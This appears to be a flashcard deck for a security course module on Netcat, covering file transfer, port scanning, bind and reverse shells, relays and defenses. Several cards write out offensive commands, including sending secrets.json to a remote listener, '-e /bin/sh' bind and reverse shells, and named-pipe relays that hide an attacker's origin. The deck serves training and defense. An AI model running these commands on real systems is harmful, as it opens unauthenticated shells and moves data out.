Home
Explore
Exams
Login
Get started
Home
Multipurpose Netcat
Multipurpose Netcat
0.0
(0)
Rate it
Studied by 0 people
Call Kai
Learn
Practice Test
Spaced Repetition
Match
Flashcards
Knowt Play
Card Sorting
1/72
Earn XP
Description and Tags
Multipurpose Netcat
73 Terms
View all (73)
Star these 73
1
New cards
What is Netcat primarily used for?
Reading and writing raw data across a network. (Book 2, p. 66)
2
New cards
Which transport protocols can Netcat communicate over?
TCP and UDP. (Book 2, p. 66)
3
New cards
How is Netcat similar to the UNIX cat command?
It reads and writes data, but can send it across network ports. (Book 2, p. 66)
4
New cards
Which Netcat variant is distributed by the Nmap team?
Ncat. (Book 2, p. 66)
5
New cards
What is Powercat?
A PowerShell implementation of Netcat. (Book 2, p. 66)
6
New cards
What is GNU Netcat?
A feature-compatible alternative to traditional Netcat. (Book 2, p. 66)
7
New cards
Is traditional Netcat included by default with Windows?
No; Windows builds are available separately. (Book 2, p. 66)
8
New cards
Which three MITRE ATT&CK tactics can Netcat support?
Exfiltration (TA0010), Discovery (TA0007), and Command and Control (TA0011). (Book 2, p. 66)
9
New cards
What are Netcat’s two operating modes?
Client and listener. (Book 2, p. 67)
10
New cards
Which mode does Netcat use by default?
Client mode. (Book 2, p. 67)
11
New cards
What does `nc 10.10.10.10 80` do?
Connects as a client to 10.10.10.10 on port 80. (Book 2, p. 67)
12
New cards
What does the Netcat `-l` flag do?
Starts listening for incoming connections. (Book 2, p. 67)
13
New cards
What does the Netcat `-p` flag specify for a listener?
The local listening port. (Book 2, p. 67)
14
New cards
What does `nc -l -p 8080` do?
Listens on local port 8080 for incoming connections. (Book 2, p. 67)
15
New cards
Can both sides of a Netcat connection run Netcat?
Yes; one can listen while the other connects. (Book 2, p. 67)
16
New cards
When does a Netcat listener start receiving data?
When a client connects and sends data. (Book 2, p. 67)
17
New cards
Which command starts the Netcat chat listener in the book example?
`nc -l -p 2222` (Book 2, p. 68)
18
New cards
Which command connects to the Netcat chat listener at 10.10.75.1?
`nc 10.10.75.1 2222` (Book 2, p. 68)
19
New cards
What happens to text typed into a connected Netcat session?
It appears in the Netcat session on the other system. (Book 2, p. 68)
20
New cards
Which command sends exploit.exe from a Netcat listener?
`cat exploit.exe | nc -l -p 2222` (Book 2, p. 68)
21
New cards
Which command receives exploit.exe from the listener into a file?
`nc 10.10.75.1 2222 > exploit.exe` (Book 2, p. 68)
22
New cards
What does the pipe (`|`) do in a Netcat file-transfer command?
Passes the output of one command into Netcat as input. (Book 2, p. 68)
23
New cards
Which command starts a listener that saves incoming data to secrets.json?
`nc -l -p 2222 > secrets.json` (Book 2, p. 69)
24
New cards
Which command sends secrets.json to the listener at 10.10.75.1?
`cat secrets.json | nc 10.10.75.1 2222` (Book 2, p. 69)
25
New cards
What does `>` do in a Netcat file-transfer command?
Redirects received output into a file. (Book 2, p. 69)
26
New cards
Can either the Netcat client or listener receive a file?
Yes; data can flow in either direction. (Book 2, p. 69)
27
New cards
Why does the book use Ctrl+C after a Netcat file transfer?
Netcat may not know when the transfer has finished. (Book 2, p. 69)
28
New cards
What is the book’s basic Netcat port-scanning command?
`nc -v -w 3 -z targetIP startport-endport` (Book 2, p. 70)
29
New cards
What does Netcat’s `-v` flag do?
Enables verbose output, including successful connections. (Book 2, p. 70)
30
New cards
What does Netcat’s `-w 3` option do?
Limits waiting to 3 seconds per port. (Book 2, p. 70)
31
New cards
What does Netcat’s `-z` flag do?
Uses zero-I/O scanning, sending minimal data. (Book 2, p. 70)
32
New cards
What does Netcat’s `-r` flag do during scanning?
Randomizes the port order. (Book 2, p. 70)
33
New cards
How does Netcat scan ports by default?
In linear order. (Book 2, p. 70)
34
New cards
What does `-p 80` specify when Netcat runs as a client?
The local source port. (Book 2, p. 70)
35
New cards
Does Netcat support both TCP and UDP port scanning?
Yes. (Book 2, p. 70)
36
New cards
How does a TCP port scan by traditional Netcat differ from a SYN scan?
Netcat completes the TCP handshake; a SYN scan does not complete it. (Book 2, p. 70)
37
New cards
Which tool does the book describe as more fully featured for port scanning: Nmap or Netcat?
Nmap. (Book 2, p. 70)
38
New cards
What does Netcat’s `-e` option do?
Runs a specified program and connects its input and output to the network session. (Book 2, p. 71)
39
New cards
What is a Netcat bind shell?
A shell exposed by a listener on the compromised host. (Book 2, p. 71)
40
New cards
What does `nc -l -p 8888 -e /bin/sh` do?
Creates a Linux shell listener on port 8888. (Book 2, p. 71)
41
New cards
What does `nc -l -p 8888 -e cmd.exe` do?
Creates a Windows Command Prompt shell listener on port 8888. (Book 2, p. 71)
42
New cards
What does `nc 203.0.113.1 8888` do in the bind-shell example?
Connects to the remote listener on port 8888. (Book 2, p. 71)
43
New cards
Does the book’s basic Netcat bind shell require authentication?
No; anyone able to reach its port can use it. (Book 2, p. 71)
44
New cards
Which Linux listener ports normally require root privileges?
Ports below 1024. (Book 2, p. 71)
45
New cards
Why can a firewall block access to a Netcat bind shell?
The attacker must initiate an inbound connection to the victim’s listening port. (Book 2, p. 72)
46
New cards
What is a Netcat reverse shell?
The compromised host initiates an outbound connection that provides shell access to an attacker listener. (Book 2, p. 73)
47
New cards
Which side starts a listener in a reverse-shell setup?
The attacker’s system. (Book 2, p. 73)
48
New cards
Which command starts the reverse-shell listener in the book example?
`nc -l -p 8888` (Book 2, p. 73)
49
New cards
Which command sends a Linux reverse shell to 198.51.100.9?
`nc 198.51.100.9 8888 -e /bin/sh` (Book 2, p. 73)
50
New cards
Why can a reverse shell bypass some firewall restrictions?
It begins as an outbound connection from the internal system. (Book 2, p. 73)
51
New cards
What is the key difference between a bind shell and a reverse shell?
Bind: attacker connects to a victim listener. Reverse: victim connects to an attacker listener. (Book 2, p. 73)
52
New cards
What is a Netcat relay?
A compromised intermediary that forwards network traffic to another system. (Book 2, p. 74)
53
New cards
Why would an attacker use a Netcat relay?
To reach blocked destinations and obscure the original connection source. (Book 2, p. 74)
54
New cards
Which source IP may the target log when traffic passes through a relay?
The relay host’s IP address rather than the attacker’s original IP. (Book 2, p. 74)
55
New cards
Can attackers chain multiple Netcat relay hosts?
Yes; multiple hops can further obscure the origin. (Book 2, p. 74)
56
New cards
What does FIFO stand for?
First In, First Out. (Book 2, p. 75)
57
New cards
What is a named pipe used for in a two-way Netcat relay?
To send the target response back toward the original client. (Book 2, p. 75)
58
New cards
Which command creates the named pipe in the book’s Linux example?
`mkfifo backpipe` (Book 2, p. 75)
59
New cards
Which command makes a one-way relay to 10.10.10.100 port 80?
`nc -l -p 2222 | nc 10.10.10.100 80` (Book 2, p. 75)
60
New cards
Which command builds the two-way Netcat relay in the book example?
`nc -l -p 2222 < backpipe | nc 10.10.10.100 80 > backpipe` (Book 2, p. 75)
61
New cards
Why is `nc -l -p 2222 | nc 10.10.10.100 80` only a one-way relay?
The destination response is not forwarded back to the original client. (Book 2, p. 75)
62
New cards
What does `< backpipe` do in the two-way relay?
Feeds named-pipe data into the Netcat listener. (Book 2, p. 75)
63
New cards
What does `> backpipe` do in the two-way relay?
Writes the target’s response into the named pipe. (Book 2, p. 75)
64
New cards
What is the main defense against Netcat data-transfer abuse?
Monitor running processes and investigate unusual port activity. (Book 2, p. 76)
65
New cards
How can defenders reduce Netcat port-scanning exposure?
Close unused listening ports. (Book 2, p. 76)
66
New cards
How can defenders reduce abuse of Netcat relays?
Use layered network filtering, segmentation, and private VLANs. (Book 2, p. 76)
67
New cards
Which endpoint activity should raise concern about Netcat backdoors?
Unexpected processes creating listeners or unusual network connections. (Book 2, p. 76)
68
New cards
What does “living off the land” mean in this Netcat module?
Using tools already present on a system rather than installing new ones. (Book 2, p. 77)
69
New cards
Why can living off the land make an investigation harder?
It introduces fewer new files and may leave less obvious evidence. (Book 2, p. 77)
70
New cards
Can Netcat identify service banners?
Yes; it can connect to open ports and inspect returned text. (Book 2, p. 78)
71
New cards
How can EDR help defenders against Netcat misuse?
Identify suspicious Netcat execution and network behavior on endpoints. (Book 2, p. 78)
72
New cards
Which VMs are required for Lab 2.5, Netcat’s Many Uses?
Slingshot Linux VM and Windows VM. (Book 2, p. 80)
73
New cards
Where are the instructions for Lab 2.5 located?
The lab workbook. (Book 2, p. 80)